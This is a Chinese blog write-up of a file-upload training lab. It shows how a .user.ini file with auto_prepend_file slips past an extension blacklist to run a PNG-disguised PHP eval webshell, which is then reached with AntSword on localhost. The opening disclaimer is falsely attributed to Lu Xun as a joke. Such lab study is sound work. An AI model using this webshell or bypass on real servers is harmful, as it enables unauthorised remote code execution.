用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。——鲁迅
前言:这一关很鸡肋,了解即可,别太较真。
吐槽一下:文件上传靶场真是实验三分钟,排版半小时,真恶心。
知识补给库
apache配置文件
httpd.conf
文件
- 作用:规定
Apache
的默认设置 - 作用域:整个服务器
- 优先级:低
- 生效方式:管理员权限且需重启
Apache
服务
.htaccess
文件(不是必须存在)
- 作用域:网站根目录及其子目录
- 优先级:高,可覆盖
Apache
主配置文件httpd.conf
- 生效方式:用户可使用且修改后立即生效,无需重启
Apache
服务
php配置文件
php.ini
文件
- 作用:存储整个
PHP
的配置选项,通常位于PHP
的安装目录中 - 作用域:运行在当前
PHP
环境中的所有PHP
请求 - 优先级:低
- 生效方式:重启WEB服务
.user.ini
文件(不是必须存在)
- 作用:针对特定用户或特定目录的配置文件,通常位于Web应用的根目录下。覆盖或追加全局配置文件
php.ini
中PHP
的配置选项 - 作用域:存放该文件的目录及其子目录
- 优先级:高,可以覆盖
PHP
的主配置文件php.ini
- 生效方式:无需重启WEB服务,立即生效
加载顺序
WEB服务首先会加载php.ini
与httpd.conf
中的配置信息。如果WEB服务的某个目录下存在.usr.ini
与.htaccess
文件,则会使用.user.ini
与.htaccess
两个文件中的配置信息覆盖或追加php.ini
与httpd.conf
中的配置信息。
PHP配置与配置文件生效问题
查看php配置
在phpStudy
的其他选项菜单中选择查看phpinfo(第二项)
.user.ini生效前提
PHP
版本大于5.3.0
且为nts
版本,最好为7.x
版本5.x nts
版本会产生中文乱码;7.x nts
版本不会产生中文乱码
Server API
为CGI
或FastCGI
非PHP nts
版本信息
Server API
的版本不是CGI/FastCGI
,此版本的PHP
无法使.user.ini
文件生效
PHP nts
版本信息
Server API
的版本为CGI/FastCGI
利用.user.ini实现文件上传漏洞前提
.user.ini
可以生效- web服务存储上传文件的位置必须存在
php
文件
PS:如果不满足这两个条件,则无法利用此方法。此方法局限性很大。
php.ini中配置.user.ini
打开靶场所使用的PHP
版本的安装目录
在php。ini
中.user.ini
的配置信息全部被注释,本节不需要改动。
- 这里只是介绍如何配置
.user.ini
,方便大家以后使用
靶场实战
代码审计
变量$deny_ext
是一个黑名单,具体内如如下:
array(
".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",
".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",
".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",
".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",
".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",
".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",
".swf",".htaccess"
);
通过上面的代码可以看到,第五关过滤了很多的文件类型,甚至包括.htaccess
文件。但是没有过滤上面说到的.user.ini
文件
下面六行代码是对上传文件的文件名和文件类型进行处理,前面已经写过,不再过多赘述。
漏洞利用
是否满足漏洞利用条件
.user.ini
实现文件上传漏洞的前提是:保存上传文件的目录中必须存在php
文件
- 本靶场的设计者在保存上传文件的目录下预留了
readme.php
文件,满足漏洞利用条件
创建.user.ini文件
创建名为.user.ini
的文件,文件内容为:auto_prepend_file = muma.png
这句代码的含义是:在执行一个
PHP
文件时,这个PHP
文件会把名为muma.png
的文件包含进行,先执行muma.png
文件再执行PHP
文件本身
创建木马文件
创建一个php
文件,内容如下,创建完成后,修改后缀名为.png
<?php
echo "这是我的木马文件";
@eval($_POST['x']);
?>
上传文件
先上传.user.ini
文件,再上传muma.png
文件
查看木马文件保存位置
右键选择新建标签页打开图像
图片的网址为:http://127.0.0.1/upload/upload/muma.png
,将muma.png
改为readme.php
,运行readme.php
文件
- 由于
.user.ini
的设置,因此执行readme.php
之前先执行muma.png
蚁剑连接
使用蚁剑连接木马文件
补充
使用5.x nts
版本的PHP
会产生中文乱码
小结
漏洞利用条件:需要.user.ini
生效且上传文件的保存目录中存在一个php
文件
漏洞利用顺序:先上传.user.ini
文件修改PHP
的配置,然后上传木马文件
PS:这种利用方式很鸡肋,受限很大,了解即可。
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊
,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!